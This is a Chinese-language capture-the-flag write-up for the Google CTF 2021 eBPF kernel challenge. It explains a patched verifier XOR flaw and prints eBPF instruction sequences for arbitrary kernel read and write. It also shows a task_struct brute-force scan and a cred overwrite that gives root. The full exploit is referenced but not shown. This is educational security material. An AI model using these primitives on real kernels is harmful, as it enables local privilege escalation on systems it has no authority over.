Google CTF pwn-ebpf wp

最近复现了关于 ebpf 的相关的提权 CVE,看到今年 google ctf 2021 有一道关于 ebpf 的题,独立做了一下,记录一下。

漏洞原因

给出了 patch 文件,给 bpf_reg_state 增加了一个 auth_map 的状态,reg 是指针状态的时候,进行 xor 操作,会将 reg 设置为 SCALAR_VALUE,再进行 xor 操作,会修改为 PTR_TO_MAP_VALUE 状态,且 xor 操作不会被 verifier 进行计算,漏洞就在此处。原本对于指针状态是不允许进行除了 add 和 sub 操作,因为这样 verifier 无法准确进行判定,容易造成越界读区,且 add 和 sub 还收到 alu_limit 的保护。这里就会导致可以对边界进行修改,造成越界,且避免 alu_limit。

漏洞利用

任意读写

按照 cve-2020-8835 的思路来做,构造一个 verifier 分析和运行时存在差异的 reg:

1
2
3
4
5
6
7
8
9
BPF_GET_MAP(4, 0),
//r7:map[0]
BPF_MOV64_REG(7, 0),
BPF_MOV64_REG(6, 7),
BPF_MOV64_REG(2, 7),
BPF_ALU64_IMM(BPF_XOR, 2, 0),
BPF_ALU64_IMM(BPF_XOR, 6, 1),
BPF_ALU64_REG(BPF_XOR, 6, 2),
BPF_ALU64_IMM(BPF_XOR, 6, 0),

这里就构造了一个 r6(verifier:0 runtime:1)。

任意写:

1
2
3
4
5
6
7
8
//r9: ctrlmap[0]
BPF_LDX_MEM(BPF_DW, 8, 9, 0x10),
BPF_ALU64_REG(BPF_MUL, 8, 6),
BPF_ALU64_REG(BPF_XOR, 7, 8),
BPF_ALU64_REG(BPF_XOR, 7, 2),
BPF_LDX_MEM(BPF_DW, 8, 9, 0x18),
BPF_STX_MEM(BPF_DW, 7, 8, 0),
BPF_EXIT_INSN(),

这里多一步 BPF_ALU64_REG(BPF_MUL, 8, 6) ,是为了满足 check_reg_sane_offset 的要求,src_reg 的值不能为 unknow。由于 verifier 认为 r6 的值为0,r8*r6 后仍然认为为 r8 为0,但实际执行时,为原本值。

任意读:

1
2
3
4
5
6
7
8
//r9: ctrlmap[0]
BPF_LDX_MEM(BPF_DW, 8, 9, 0x10),
BPF_ALU64_REG(BPF_MUL, 8, 6),
BPF_ALU64_REG(BPF_XOR, 7, 8),
BPF_ALU64_REG(BPF_XOR, 7, 2),
BPF_LDX_MEM(BPF_DW, 8, 7, 0),
BPF_STX_MEM(BPF_DW, 9, 8, 0x18),
BPF_EXIT_INSN(),

GETSHELL

由于从 bzImage 中导出的 vmlinux 不存在符号,这里通过测试,我们可以按照 cve-2020-8835 ,泄漏出 bpf_array→value,即 map 内容的地址,取范围进行爆破,爆破当前进程的 task_struct,方法参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bpf_array_addr = ctrlbuf64[3] - BPF_ARRAY_OFFSET_LEAK;
long start_addr = bpf_array_addr & 0xffffffffff000000;
long end_addr = start_addr + 0x1000000000;
char target[8];
long result;
strcpy(target, "fxxy242");
prctl(PR_SET_NAME, target);
for (size_t addr = start_addr; addr < end_addr; addr += 0x1) {
result = read64(addr);
if (strcmp((char *)&result, target) == 0) {
printf("[+] Find task_struct comm : %lx, %s\n", addr, (char *)&result);
curr_cred = read64(addr - 0x10);
curr_real_cred = read64(addr - 0x18);
if ((curr_cred || 0xff00000000000000) && (curr_cred == curr_real_cred)) {
printf("[+] found real_cred 0x%lx\n", curr_real_cred);
break;
}
}
}

得到 cred 地址后,修改 uid、eid、suid。

1
2
3
4
5
6
if (curr_cred && curr_real_cred) {
long data = read64(curr_real_cred);
write64(curr_real_cred + 4, data & 0xffffffff00000000);
write64(curr_real_cred + 8, 0);
write64(curr_real_cred + 16, 0);
}

Untitled

完整exp

code